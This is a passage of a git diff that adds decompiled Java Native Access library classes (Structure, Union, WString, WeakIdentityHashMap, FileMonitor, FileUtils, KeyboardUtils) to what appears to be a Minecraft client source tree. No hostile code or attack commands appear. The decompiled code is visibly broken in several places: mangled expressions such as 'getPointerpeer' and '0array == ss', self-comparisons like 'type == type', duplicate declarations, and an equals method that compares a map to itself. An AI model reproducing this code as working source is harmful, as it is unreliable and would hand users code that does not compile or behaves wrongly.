+    {
+      this.array = array;
+    }
+    
+    return array;
+  }
+  
+
+
+
+
+
+  public Structure[] toArray(int size)
+  {
+    return toArray((Structure[])Array.newInstance(getClass(), size));
+  }
+  
+  private Class baseClass() {
+    if ((((this instanceof ByReference)) || ((this instanceof ByValue))) && (Structure.class.isAssignableFrom(getClass().getSuperclass())))
+    {
+
+      return getClass().getSuperclass();
+    }
+    return getClass();
+  }
+  
+
+
+  public boolean equals(Object o)
+  {
+    if (o == this) {
+      return true;
+    }
+    if (!(o instanceof Structure)) {
+      return false;
+    }
+    if ((o.getClass() != getClass()) && (((Structure)o).baseClass() != baseClass()))
+    {
+      return false;
+    }
+    Structure s = (Structure)o;
+    if (s.getPointer().equals(getPointer())) {
+      return true;
+    }
+    if (s.size() == size()) {
+      clear();write();
+      byte[] buf = getPointer().getByteArray(0L, size());
+      s.clear();s.write();
+      byte[] sbuf = s.getPointer().getByteArray(0L, s.size());
+      return Arrays.equals(buf, sbuf);
+    }
+    return false;
+  }
+  
+
+
+  public int hashCode()
+  {
+    clear();write();
+    Adler32 code = new Adler32();
+    code.update(getPointer().getByteArray(0L, size()));
+    return (int)code.getValue();
+  }
+  
+  protected void cacheTypeInfo(Pointer p) {
+    typeInfo = peer;
+  }
+  
+  protected Pointer getFieldTypeInfo(StructField f)
+  {
+    Class type = type;
+    Object value = getField(f);
+    if (typeMapper != null) {
+      ToNativeConverter nc = typeMapper.getToNativeConverter(type);
+      if (nc != null) {
+        type = nc.nativeType();
+        value = nc.toNative(value, new ToNativeContext());
+      }
+    }
+    return FFIType.get(value, type);
+  }
+  
+  Pointer getTypeInfo()
+  {
+    Pointer p = getTypeInfo(this);
+    cacheTypeInfo(p);
+    return p;
+  }
+  
+
+
+
+
+
+
+
+  public void setAutoSynch(boolean auto)
+  {
+    setAutoRead(auto);
+    setAutoWrite(auto);
+  }
+  
+
+
+  public void setAutoRead(boolean auto)
+  {
+    autoRead = auto;
+  }
+  
+
+
+  public boolean getAutoRead()
+  {
+    return autoRead;
+  }
+  
+
+
+  public void setAutoWrite(boolean auto)
+  {
+    autoWrite = auto;
+  }
+  
+
+
+  public boolean getAutoWrite()
+  {
+    return autoWrite;
+  }
+  
+  static Pointer getTypeInfo(Object obj)
+  {
+    return FFIType.get(obj);
+  }
+  
+
+
+  public static Structure newInstance(Class type)
+    throws IllegalArgumentException
+  {
+    try
+    {
+      Structure s = (Structure)type.newInstance();
+      if ((s instanceof ByValue)) {
+        s.allocateMemory();
+      }
+      return s;
+    }
+    catch (InstantiationException e) {
+      String msg = "Can't instantiate " + type + " (" + e + ")";
+      throw new IllegalArgumentException(msg);
+    }
+    catch (IllegalAccessException e) {
+      String msg = "Instantiation of " + type + " not allowed, is it public? (" + e + ")";
+      
+      throw new IllegalArgumentException(msg); } }
+  
+  class StructField { public String name;
+    public Class type;
+    public Field field;
+    
+    StructField() {}
+    
+    public int size = -1;
+    public int offset = -1;
+    public boolean isVolatile;
+    public boolean isReadOnly;
+    public FromNativeConverter readConverter;
+    public ToNativeConverter writeConverter;
+    public FromNativeContext context;
+    
+    public String toString() { return name + "@" + offset + "[" + size + "] (" + type + ")"; } }
+  
+  static class FFIType extends Structure { private static class FFITypes { private static Pointer ffi_type_void;
+      private static Pointer ffi_type_float;
+      private static Pointer ffi_type_double;
+      private static Pointer ffi_type_longdouble;
+      private static Pointer ffi_type_uint8;
+      private static Pointer ffi_type_sint8; private static Pointer ffi_type_uint16; private static Pointer ffi_type_sint16; private static Pointer ffi_type_uint32; private static Pointer ffi_type_sint32; private static Pointer ffi_type_uint64; private static Pointer ffi_type_sint64; private static Pointer ffi_type_pointer;
+      private FFITypes() {} }
+    public static class size_t extends IntegerType { public size_t() { this(0L); }
+      public size_t(long value) { super(value); } }
+    
+    private static Map typeInfoMap = new WeakHashMap();
+    
+
+
+
+    private static final int FFI_TYPE_STRUCT = 13;
+    
+
+
+    public size_t size;
+    
+
+
+    public short alignment;
+    
+
+
+
+    static
+    {
+      if (Native.POINTER_SIZE == 0)
+        throw new Error("Native library not initialized");
+      if (FFITypes.ffi_type_void == null)
+        throw new Error("FFI types not initialized");
+      typeInfoMap.put(Void.TYPE, FFITypes.ffi_type_void);
+      typeInfoMap.put(Void.class, FFITypes.ffi_type_void);
+      typeInfoMap.put(Float.TYPE, FFITypes.ffi_type_float);
+      typeInfoMap.put(Float.class, FFITypes.ffi_type_float);
+      typeInfoMap.put(Double.TYPE, FFITypes.ffi_type_double);
+      typeInfoMap.put(Double.class, FFITypes.ffi_type_double);
+      typeInfoMap.put(Long.TYPE, FFITypes.ffi_type_sint64);
+      typeInfoMap.put(Long.class, FFITypes.ffi_type_sint64);
+      typeInfoMap.put(Integer.TYPE, FFITypes.ffi_type_sint32);
+      typeInfoMap.put(Integer.class, FFITypes.ffi_type_sint32);
+      typeInfoMap.put(Short.TYPE, FFITypes.ffi_type_sint16);
+      typeInfoMap.put(Short.class, FFITypes.ffi_type_sint16);
+      Pointer ctype = Native.WCHAR_SIZE == 2 ? FFITypes.ffi_type_uint16 : FFITypes.ffi_type_uint32;
+      
+      typeInfoMap.put(Character.TYPE, ctype);
+      typeInfoMap.put(Character.class, ctype);
+      typeInfoMap.put(Byte.TYPE, FFITypes.ffi_type_sint8);
+      typeInfoMap.put(Byte.class, FFITypes.ffi_type_sint8);
+      typeInfoMap.put(Pointer.class, FFITypes.ffi_type_pointer);
+      typeInfoMap.put(String.class, FFITypes.ffi_type_pointer);
+      typeInfoMap.put(WString.class, FFITypes.ffi_type_pointer);
+      typeInfoMap.put(Boolean.TYPE, FFITypes.ffi_type_uint32);
+      typeInfoMap.put(Boolean.class, FFITypes.ffi_type_uint32);
+    }
+    
+
+
+
+
+    public short type = 13;
+    
+    public Pointer elements;
+    
+    private FFIType(Structure ref)
+    {
+      ref.ensureAllocated(true);
+      Pointer[] els;
+      Pointer[] els; int idx; Iterator i; if ((ref instanceof Union)) {
+        Structure.StructField sf = biggestField;
+        els = new Pointer[] { get(ref.getField(sf), type), null };
+
+      }
+      else
+      {
+        els = new Pointer[ref.fields().size() + 1];
+        idx = 0;
+        for (i = ref.fields().values().iterator(); i.hasNext();) {
+          Structure.StructField sf = (Structure.StructField)i.next();
+          els[(idx++)] = ref.getFieldTypeInfo(sf);
+        }
+      }
+      init(els);
+    }
+    
+    private FFIType(Object array, Class type) {
+      int length = Array.getLength(array);
+      Pointer[] els = new Pointer[length + 1];
+      Pointer p = get(null, type.getComponentType());
+      for (int i = 0; i < length; i++) {
+        els[i] = p;
+      }
+      init(els);
+    }
+    
+    private void init(Pointer[] els) { elements = new Memory(Pointer.SIZE * els.length);
+      elements.write(0L, els, 0, els.length);
+      write();
+    }
+    
+    static Pointer get(Object obj) {
+      if (obj == null)
+        return FFITypes.ffi_type_pointer;
+      if ((obj instanceof Class))
+        return get(null, (Class)obj);
+      return get(obj, obj.getClass());
+    }
+    
+    private static Pointer get(Object obj, Class cls) {
+      TypeMapper mapper = Native.getTypeMapper(cls);
+      if (mapper != null) {
+        ToNativeConverter nc = mapper.getToNativeConverter(cls);
+        if (nc != null) {
+          cls = nc.nativeType();
+        }
+      }
+      synchronized (typeInfoMap) {
+        Object o = typeInfoMap.get(cls);
+        if ((o instanceof Pointer)) {
+          return (Pointer)o;
+        }
+        if ((o instanceof FFIType)) {
+          return ((FFIType)o).getPointer();
+        }
+        if (((Platform.HAS_BUFFERS) && (Buffer.class.isAssignableFrom(cls))) || (Callback.class.isAssignableFrom(cls)))
+        {
+          typeInfoMap.put(cls, FFITypes.ffi_type_pointer);
+          return FFITypes.ffi_type_pointer;
+        }
+        if (Structure.class.isAssignableFrom(cls)) {
+          if (obj == null) obj = newInstance(cls);
+          if (Structure.ByReference.class.isAssignableFrom(cls)) {
+            typeInfoMap.put(cls, FFITypes.ffi_type_pointer);
+            return FFITypes.ffi_type_pointer;
+          }
+          FFIType type = new FFIType((Structure)obj);
+          typeInfoMap.put(cls, type);
+          return type.getPointer();
+        }
+        if (NativeMapped.class.isAssignableFrom(cls)) {
+          NativeMappedConverter c = NativeMappedConverter.getInstance(cls);
+          return get(c.toNative(obj, new ToNativeContext()), c.nativeType());
+        }
+        if (cls.isArray()) {
+          FFIType type = new FFIType(obj, cls);
+          
+          typeInfoMap.put(obj, type);
+          return type.getPointer();
+        }
+        throw new IllegalArgumentException("Unsupported Structure field type " + cls);
+      }
+    }
+  }
+  
+  private class AutoAllocated extends Memory {
+    public AutoAllocated(int size) {
+      super();
+      
+      super.clear();
+    }
+  }
+  
+  private static void structureArrayCheck(Structure[] ss) {
+    Pointer base = ss[0].getPointer();
+    int size = ss[0].size();
+    for (int si = 1; si < ss.length; si++) {
+      if (getPointerpeer != peer + size * si) {
+        String msg = "Structure array elements must use contiguous memory (bad backing address at Structure array index " + si + ")";
+        
+        throw new IllegalArgumentException(msg);
+      }
+    }
+  }
+  
+  public static void autoRead(Structure[] ss) {
+    structureArrayCheck(ss);
+    if (0array == ss) {
+      ss[0].autoRead();
+    }
+    else {
+      for (int si = 0; si < ss.length; si++) {
+        ss[si].autoRead();
+      }
+    }
+  }
+  
+  public void autoRead() {
+    if (getAutoRead()) {
+      read();
+      if (array != null) {
+        for (int i = 1; i < array.length; i++) {
+          array[i].autoRead();
+        }
+      }
+    }
+  }
+  
+  public static void autoWrite(Structure[] ss) {
+    structureArrayCheck(ss);
+    if (0array == ss) {
+      ss[0].autoWrite();
+    }
+    else {
+      for (int si = 0; si < ss.length; si++) {
+        ss[si].autoWrite();
+      }
+    }
+  }
+  
+  public void autoWrite() {
+    if (getAutoWrite()) {
+      write();
+      if (array != null) {
+        for (int i = 1; i < array.length; i++) {
+          array[i].autoWrite();
+        }
+      }
+    }
+  }
+  
+  protected int getNativeSize(Class nativeType, Object value) {
+    return Native.getNativeSize(nativeType, value);
+  }
+}
diff --git a/src/minecraft/com/sun/jna/StructureReadContext.java b/src/minecraft/com/sun/jna/StructureReadContext.java
new file mode 100644
index 0000000..03d4abc
--- /dev/null
+++ b/src/minecraft/com/sun/jna/StructureReadContext.java
@@ -0,0 +1,33 @@
+package com.sun.jna;
+
+import java.lang.reflect.Field;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StructureReadContext
+  extends FromNativeContext
+{
+  private Structure structure;
+  private Field field;
+  
+  StructureReadContext(Structure struct, Field field)
+  {
+    super(field.getType());
+    structure = struct;
+    this.field = field;
+  }
+  
+  public Structure getStructure() { return structure; }
+  
+  public Field getField() { return field; }
+}
diff --git a/src/minecraft/com/sun/jna/StructureWriteContext.java b/src/minecraft/com/sun/jna/StructureWriteContext.java
new file mode 100644
index 0000000..0d67409
--- /dev/null
+++ b/src/minecraft/com/sun/jna/StructureWriteContext.java
@@ -0,0 +1,34 @@
+package com.sun.jna;
+
+import java.lang.reflect.Field;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class StructureWriteContext
+  extends ToNativeContext
+{
+  private Structure struct;
+  private Field field;
+  
+  StructureWriteContext(Structure struct, Field field)
+  {
+    this.struct = struct;
+    this.field = field;
+  }
+  
+  public Structure getStructure() { return struct; }
+  
+  public Field getField() {
+    return field;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/ToNativeContext.java b/src/minecraft/com/sun/jna/ToNativeContext.java
new file mode 100644
index 0000000..5ea143c
--- /dev/null
+++ b/src/minecraft/com/sun/jna/ToNativeContext.java
@@ -0,0 +1,6 @@
+package com.sun.jna;
+
+public class ToNativeContext
+{
+  ToNativeContext() {}
+}
diff --git a/src/minecraft/com/sun/jna/ToNativeConverter.java b/src/minecraft/com/sun/jna/ToNativeConverter.java
new file mode 100644
index 0000000..23307e0
--- /dev/null
+++ b/src/minecraft/com/sun/jna/ToNativeConverter.java
@@ -0,0 +1,8 @@
+package com.sun.jna;
+
+public abstract interface ToNativeConverter
+{
+  public abstract Object toNative(Object paramObject, ToNativeContext paramToNativeContext);
+  
+  public abstract Class nativeType();
+}
diff --git a/src/minecraft/com/sun/jna/TypeConverter.java b/src/minecraft/com/sun/jna/TypeConverter.java
new file mode 100644
index 0000000..46b3e09
--- /dev/null
+++ b/src/minecraft/com/sun/jna/TypeConverter.java
@@ -0,0 +1,5 @@
+package com.sun.jna;
+
+public abstract interface TypeConverter
+  extends FromNativeConverter, ToNativeConverter
+{}
diff --git a/src/minecraft/com/sun/jna/TypeMapper.java b/src/minecraft/com/sun/jna/TypeMapper.java
new file mode 100644
index 0000000..5cdb14f
--- /dev/null
+++ b/src/minecraft/com/sun/jna/TypeMapper.java
@@ -0,0 +1,8 @@
+package com.sun.jna;
+
+public abstract interface TypeMapper
+{
+  public abstract FromNativeConverter getFromNativeConverter(Class paramClass);
+  
+  public abstract ToNativeConverter getToNativeConverter(Class paramClass);
+}
diff --git a/src/minecraft/com/sun/jna/Union.java b/src/minecraft/com/sun/jna/Union.java
new file mode 100644
index 0000000..6365e2c
--- /dev/null
+++ b/src/minecraft/com/sun/jna/Union.java
@@ -0,0 +1,248 @@
+package com.sun.jna;
+
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class Union
+  extends Structure
+{
+  private Structure.StructField activeField;
+  Structure.StructField biggestField;
+  
+  protected Union() {}
+  
+  protected Union(Pointer p)
+  {
+    super(p);
+  }
+  
+  protected Union(Pointer p, int alignType) {
+    super(p, alignType);
+  }
+  
+  protected Union(TypeMapper mapper) {
+    super(mapper);
+  }
+  
+  protected Union(Pointer p, int alignType, TypeMapper mapper) {
+    super(p, alignType, mapper);
+  }
+  
+
+
+
+
+  public void setType(Class type)
+  {
+    ensureAllocated();
+    for (Iterator i = fields().values().iterator(); i.hasNext();) {
+      Structure.StructField f = (Structure.StructField)i.next();
+      if (type == type) {
+        activeField = f;
+        return;
+      }
+    }
+    throw new IllegalArgumentException("No field of type " + type + " in " + this);
+  }
+  
+
+
+
+
+  public void setType(String fieldName)
+  {
+    ensureAllocated();
+    Structure.StructField f = (Structure.StructField)fields().get(fieldName);
+    if (f != null) {
+      activeField = f;
+    }
+    else {
+      throw new IllegalArgumentException("No field named " + fieldName + " in " + this);
+    }
+  }
+  
+
+
+
+
+  public Object readField(String fieldName)
+  {
+    ensureAllocated();
+    setType(fieldName);
+    return super.readField(fieldName);
+  }
+  
+
+
+
+  public void writeField(String fieldName)
+  {
+    ensureAllocated();
+    setType(fieldName);
+    super.writeField(fieldName);
+  }
+  
+
+
+
+  public void writeField(String fieldName, Object value)
+  {
+    ensureAllocated();
+    setType(fieldName);
+    super.writeField(fieldName, value);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Object getTypedValue(Class type)
+  {
+    ensureAllocated();
+    for (Iterator i = fields().values().iterator(); i.hasNext();) {
+      Structure.StructField f = (Structure.StructField)i.next();
+      if (type == type) {
+        activeField = f;
+        read();
+        return getField(activeField);
+      }
+    }
+    throw new IllegalArgumentException("No field of type " + type + " in " + this);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public Object setTypedValue(Object object)
+  {
+    Structure.StructField f = findField(object.getClass());
+    if (f != null) {
+      activeField = f;
+      setField(f, object);
+      return this;
+    }
+    throw new IllegalArgumentException("No field of type " + object.getClass() + " in " + this);
+  }
+  
+
+
+
+
+  private Structure.StructField findField(Class type)
+  {
+    ensureAllocated();
+    for (Iterator i = fields().values().iterator(); i.hasNext();) {
+      Structure.StructField f = (Structure.StructField)i.next();
+      if (type.isAssignableFrom(type)) {
+        return f;
+      }
+    }
+    return null;
+  }
+  
+  void writeField(Structure.StructField field)
+  {
+    if (field == activeField) {
+      super.writeField(field);
+    }
+  }
+  
+
+
+
+  Object readField(Structure.StructField field)
+  {
+    if ((field == activeField) || ((!Structure.class.isAssignableFrom(type)) && (!String.class.isAssignableFrom(type)) && (!WString.class.isAssignableFrom(type))))
+    {
+
+
+      return super.readField(field);
+    }
+    
+
+
+    return null;
+  }
+  
+
+
+  int calculateSize(boolean force, boolean avoidFFIType)
+  {
+    int size = super.calculateSize(force, avoidFFIType);
+    if (size != -1) {
+      int fsize = 0;
+      for (Iterator i = fields().values().iterator(); i.hasNext();) {
+        Structure.StructField f = (Structure.StructField)i.next();
+        offset = 0;
+        if ((size > fsize) || ((size == fsize) && (Structure.class.isAssignableFrom(type))))
+        {
+
+
+
+
+
+
+          fsize = size;
+          biggestField = f;
+        }
+      }
+      size = calculateAlignedSize(fsize);
+      if (size > 0)
+      {
+        if (((this instanceof Structure.ByValue)) && (!avoidFFIType)) {
+          getTypeInfo();
+        }
+      }
+    }
+    return size;
+  }
+  
+  protected int getNativeAlignment(Class type, Object value, boolean isFirstElement) {
+    return super.getNativeAlignment(type, value, true);
+  }
+  
+
+
+
+  Pointer getTypeInfo()
+  {
+    if (biggestField == null)
+    {
+      return null;
+    }
+    return super.getTypeInfo();
+  }
+}
diff --git a/src/minecraft/com/sun/jna/WString.java b/src/minecraft/com/sun/jna/WString.java
new file mode 100644
index 0000000..2e6907f
--- /dev/null
+++ b/src/minecraft/com/sun/jna/WString.java
@@ -0,0 +1,46 @@
+package com.sun.jna;
+
+import java.nio.CharBuffer;
+
+
+
+
+
+
+
+
+
+
+
+
+public final class WString
+  implements CharSequence, Comparable
+{
+  private String string;
+  
+  public WString(String s)
+  {
+    if (s == null) throw new NullPointerException("String initializer must be non-null");
+    string = s;
+  }
+  
+  public String toString() { return string; }
+  
+  public boolean equals(Object o) {
+    return ((o instanceof WString)) && (toString().equals(o.toString()));
+  }
+  
+  public int hashCode() { return toString().hashCode(); }
+  
+  public int compareTo(Object o) {
+    return toString().compareTo(o.toString());
+  }
+  
+  public int length() { return toString().length(); }
+  
+  public char charAt(int index) {
+    return toString().charAt(index);
+  }
+  
+  public CharSequence subSequence(int start, int end) { return CharBuffer.wrap(toString()).subSequence(start, end); }
+}
diff --git a/src/minecraft/com/sun/jna/WeakIdentityHashMap.java b/src/minecraft/com/sun/jna/WeakIdentityHashMap.java
new file mode 100644
index 0000000..84de08c
--- /dev/null
+++ b/src/minecraft/com/sun/jna/WeakIdentityHashMap.java
@@ -0,0 +1,176 @@
+package com.sun.jna;
+
+import java.lang.ref.ReferenceQueue;
+import java.lang.ref.WeakReference;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class WeakIdentityHashMap
+  implements Map
+{
+  private final ReferenceQueue queue = new ReferenceQueue();
+  private Map backingStore = new HashMap();
+  
+
+  public WeakIdentityHashMap() {}
+  
+
+  public void clear()
+  {
+    backingStore.clear();
+    reap();
+  }
+  
+  public boolean containsKey(Object key) {
+    reap();
+    return backingStore.containsKey(new IdentityWeakReference(key));
+  }
+  
+  public boolean containsValue(Object value) {
+    reap();
+    return backingStore.containsValue(value);
+  }
+  
+  public Set entrySet() {
+    reap();
+    Set ret = new HashSet();
+    for (Iterator i = backingStore.entrySet().iterator(); i.hasNext();) {
+      Map.Entry ref = (Map.Entry)i.next();
+      final Object key = ((IdentityWeakReference)ref.getKey()).get();
+      final Object value = ref.getValue();
+      Map.Entry entry = new Map.Entry() { private final Object val$key;
+        
+        public Object getKey() { return key; }
+        
+        private final Object val$value;
+        public Object getValue() { return value; }
+        
+        public Object setValue(Object value) {
+          throw new UnsupportedOperationException();
+        }
+      };
+      ret.add(entry);
+    }
+    return Collections.unmodifiableSet(ret);
+  }
+  
+  public Set keySet() { reap();
+    Set ret = new HashSet();
+    for (Iterator i = backingStore.keySet().iterator(); i.hasNext();) {
+      IdentityWeakReference ref = (IdentityWeakReference)i.next();
+      ret.add(ref.get());
+    }
+    return Collections.unmodifiableSet(ret);
+  }
+  
+  public boolean equals(Object o) {
+    return backingStore.equals(backingStore);
+  }
+  
+  public Object get(Object key) {
+    reap();
+    return backingStore.get(new IdentityWeakReference(key));
+  }
+  
+  public Object put(Object key, Object value) { reap();
+    return backingStore.put(new IdentityWeakReference(key), value);
+  }
+  
+  public int hashCode() {
+    reap();
+    return backingStore.hashCode();
+  }
+  
+  public boolean isEmpty() { reap();
+    return backingStore.isEmpty();
+  }
+  
+  public void putAll(Map t) { throw new UnsupportedOperationException(); }
+  
+  public Object remove(Object key) {
+    reap();
+    return backingStore.remove(new IdentityWeakReference(key));
+  }
+  
+  public int size() { reap();
+    return backingStore.size();
+  }
+  
+  public Collection values() { reap();
+    return backingStore.values();
+  }
+  
+  private synchronized void reap() {
+    Object zombie = queue.poll();
+    
+    while (zombie != null) {
+      IdentityWeakReference victim = (IdentityWeakReference)zombie;
+      backingStore.remove(victim);
+      zombie = queue.poll();
+    }
+  }
+  
+  class IdentityWeakReference extends WeakReference
+  {
+    int hash;
+    
+    IdentityWeakReference(Object obj) {
+      super(queue);
+      hash = System.identityHashCode(obj);
+    }
+    
+    public int hashCode() {
+      return hash;
+    }
+    
+    public boolean equals(Object o) {
+      if (this == o) {
+        return true;
+      }
+      IdentityWeakReference ref = (IdentityWeakReference)o;
+      if (get() == ref.get()) {
+        return true;
+      }
+      return false;
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/FileMonitor.java b/src/minecraft/com/sun/jna/platform/FileMonitor.java
new file mode 100644
index 0000000..59716f9
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/FileMonitor.java
@@ -0,0 +1,135 @@
+package com.sun.jna.platform;
+
+import com.sun.jna.platform.win32.W32FileMonitor;
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.EventObject;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class FileMonitor
+{
+  public static final int FILE_CREATED = 1;
+  public static final int FILE_DELETED = 2;
+  public static final int FILE_MODIFIED = 4;
+  public static final int FILE_ACCESSED = 8;
+  public static final int FILE_NAME_CHANGED_OLD = 16;
+  public static final int FILE_NAME_CHANGED_NEW = 32;
+  public static final int FILE_RENAMED = 48;
+  public static final int FILE_SIZE_CHANGED = 64;
+  public static final int FILE_ATTRIBUTES_CHANGED = 128;
+  public static final int FILE_SECURITY_CHANGED = 256;
+  public static final int FILE_ANY = 511;
+  private final Map<File, Integer> watched;
+  private List<FileListener> listeners;
+  
+  public static abstract interface FileListener
+  {
+    public abstract void fileChanged(FileMonitor.FileEvent paramFileEvent);
+  }
+  
+  public class FileEvent
+    extends EventObject
+  {
+    private final File file;
+    private final int type;
+    
+    public FileEvent(File file, int type)
+    {
+      super();
+      this.file = file;
+      this.type = type; }
+    
+    public File getFile() { return file; }
+    public int getType() { return type; }
+    
+    public String toString() { return "FileEvent: " + file + ":" + type; }
+  }
+  
+  public FileMonitor() {
+    watched = new HashMap();
+    listeners = new ArrayList(); }
+  
+  protected abstract void watch(File paramFile, int paramInt, boolean paramBoolean) throws IOException;
+  
+  protected abstract void unwatch(File paramFile);
+  
+  public abstract void dispose();
+  public void addWatch(File dir) throws IOException { addWatch(dir, 511); }
+  
+  public void addWatch(File dir, int mask) throws IOException
+  {
+    addWatch(dir, mask, dir.isDirectory());
+  }
+  
+  public void addWatch(File dir, int mask, boolean recursive) throws IOException {
+    watched.put(dir, new Integer(mask));
+    watch(dir, mask, recursive);
+  }
+  
+  public void removeWatch(File file) {
+    if (watched.remove(file) != null) {
+      unwatch(file);
+    }
+  }
+  
+  protected void notify(FileEvent e) {
+    for (FileListener listener : listeners) {
+      listener.fileChanged(e);
+    }
+  }
+  
+  public synchronized void addFileListener(FileListener listener) {
+    List<FileListener> list = new ArrayList(listeners);
+    list.add(listener);
+    listeners = list;
+  }
+  
+  public synchronized void removeFileListener(FileListener x) {
+    List<FileListener> list = new ArrayList(listeners);
+    list.remove(x);
+    listeners = list;
+  }
+  
+  protected void finalize() {
+    for (File watchedFile : watched.keySet()) {
+      removeWatch(watchedFile);
+    }
+    
+    dispose();
+  }
+  
+  private static class Holder { public static final FileMonitor INSTANCE;
+    
+    private Holder() {}
+    
+    static { String os = System.getProperty("os.name");
+      if (os.startsWith("Windows")) {
+        INSTANCE = new W32FileMonitor();
+      }
+      else {
+        throw new Error("FileMonitor not implemented for " + os);
+      }
+    }
+  }
+  
+  public static FileMonitor getInstance() {
+    return Holder.INSTANCE;
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/FileUtils.java b/src/minecraft/com/sun/jna/platform/FileUtils.java
new file mode 100644
index 0000000..271b318
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/FileUtils.java
@@ -0,0 +1,106 @@
+package com.sun.jna.platform;
+
+import com.sun.jna.platform.mac.MacFileUtils;
+import com.sun.jna.platform.win32.W32FileUtils;
+import java.io.File;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class FileUtils
+{
+  public FileUtils() {}
+  
+  public boolean hasTrash()
+  {
+    return false;
+  }
+  
+  public abstract void moveToTrash(File[] paramArrayOfFile) throws IOException;
+  
+  private static class Holder
+  {
+    public static final FileUtils INSTANCE;
+    
+    private Holder() {}
+    
+    static {
+      String os = System.getProperty("os.name");
+      if (os.startsWith("Windows")) {
+        INSTANCE = new W32FileUtils();
+      }
+      else if (os.startsWith("Mac")) {
+        INSTANCE = new MacFileUtils();
+      }
+      else {
+        INSTANCE = new FileUtils.DefaultFileUtils(null);
+      }
+    }
+  }
+  
+  public static FileUtils getInstance() {
+    return Holder.INSTANCE;
+  }
+  
+  private static class DefaultFileUtils extends FileUtils
+  {
+    private DefaultFileUtils() {}
+    
+    private File getTrashDirectory() {
+      File home = new File(System.getProperty("user.home"));
+      File trash = new File(home, ".Trash");
+      if (!trash.exists()) {
+        trash = new File(home, "Trash");
+        if (!trash.exists()) {
+          File desktop = new File(home, "Desktop");
+          if (desktop.exists()) {
+            trash = new File(desktop, ".Trash");
+            if (!trash.exists()) {
+              trash = new File(desktop, "Trash");
+              if (!trash.exists()) {
+                trash = new File(System.getProperty("fileutils.trash", "Trash"));
+              }
+            }
+          }
+        }
+      }
+      return trash;
+    }
+    
+    public boolean hasTrash() {
+      return getTrashDirectory().exists();
+    }
+    
+
+    public void moveToTrash(File[] files)
+      throws IOException
+    {
+      File trash = getTrashDirectory();
+      if (!trash.exists()) {
+        throw new IOException("No trash location found (define fileutils.trash to be the path to the trash)");
+      }
+      List<File> failed = new ArrayList();
+      for (int i = 0; i < files.length; i++) {
+        File src = files[i];
+        File target = new File(trash, src.getName());
+        if (!src.renameTo(target)) {
+          failed.add(src);
+        }
+      }
+      if (failed.size() > 0) {
+        throw new IOException("The following files could not be trashed: " + failed);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/sun/jna/platform/KeyboardUtils.java b/src/minecraft/com/sun/jna/platform/KeyboardUtils.java
new file mode 100644
index 0000000..4b47b30
--- /dev/null
+++ b/src/minecraft/com/sun/jna/platform/KeyboardUtils.java
@@ -0,0 +1,169 @@
+package com.sun.jna.platform;
+
+import com.sun.jna.Platform;
+import com.sun.jna.platform.unix.X11;
+import com.sun.jna.platform.unix.X11.Display;
+import com.sun.jna.platform.unix.X11.KeySym;
+import com.sun.jna.platform.win32.User32;
+import java.awt.GraphicsEnvironment;
+import java.awt.HeadlessException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class KeyboardUtils
+{
+  static final NativeKeyboardUtils INSTANCE;
+  
+  static
+  {
+    if (GraphicsEnvironment.isHeadless()) {
+      throw new HeadlessException("KeyboardUtils requires a keyboard");
+    }
+    if (Platform.isWindows()) {
+      INSTANCE = new W32KeyboardUtils(null);
+    } else {
+      if (Platform.isMac()) {
+        INSTANCE = new MacKeyboardUtils(null);
+        throw new UnsupportedOperationException("No support (yet) for " + System.getProperty("os.name"));
+      }
+      
+
+      INSTANCE = new X11KeyboardUtils(null);
+    }
+  }
+  
+  public static boolean isPressed(int keycode, int location) {
+    return INSTANCE.isPressed(keycode, location);
+  }
+  
+  public static boolean isPressed(int keycode) { return INSTANCE.isPressed(keycode); }
+  
+  private static abstract class NativeKeyboardUtils { private NativeKeyboardUtils() {}
+    
+    public abstract boolean isPressed(int paramInt1, int paramInt2);
+    
+    public boolean isPressed(int keycode) { return isPressed(keycode, 0); } }
+  
+  public KeyboardUtils() {}
+  
+  private static class W32KeyboardUtils extends KeyboardUtils.NativeKeyboardUtils { private W32KeyboardUtils() { super(); }
+    
+    private int toNative(int code, int loc) { if (((code >= 65) && (code <= 90)) || ((code >= 48) && (code <= 57)))
+      {
+        return code;
+      }
+      if (code == 16) {
+        if ((loc & 0x3) != 0) {
+          return 161;
+        }
+        if ((loc & 0x2) != 0) {
+          return 160;
+        }
+        return 16;
+      }
+      if (code == 17) {
+        if ((loc & 0x3) != 0) {
+          return 163;
+        }
+        if ((loc & 0x2) != 0) {
+          return 162;
+        }
+        return 17;
+      }
+      if (code == 18) {
+        if ((loc & 0x3) != 0) {
+          return 165;
+        }
+        if ((loc & 0x2) != 0) {
+          return 164;
+        }
+        return 18;
+      }
+      return 0;
+    }
+    
+    public boolean isPressed(int keycode, int location) { User32 lib = User32.INSTANCE;
+      return (lib.GetAsyncKeyState(toNative(keycode, location)) & 0x8000) != 0;
+    } }
+  
+  private static class MacKeyboardUtils extends KeyboardUtils.NativeKeyboardUtils { private MacKeyboardUtils() { super(); }
+    
+    public boolean isPressed(int keycode, int location) { return false; }
+  }
+  
+  private static class X11KeyboardUtils extends KeyboardUtils.NativeKeyboardUtils { private X11KeyboardUtils() { super(); }
+    
+    private int toKeySym(int code, int location)
+    {
+      if ((code >= 65) && (code <= 90))
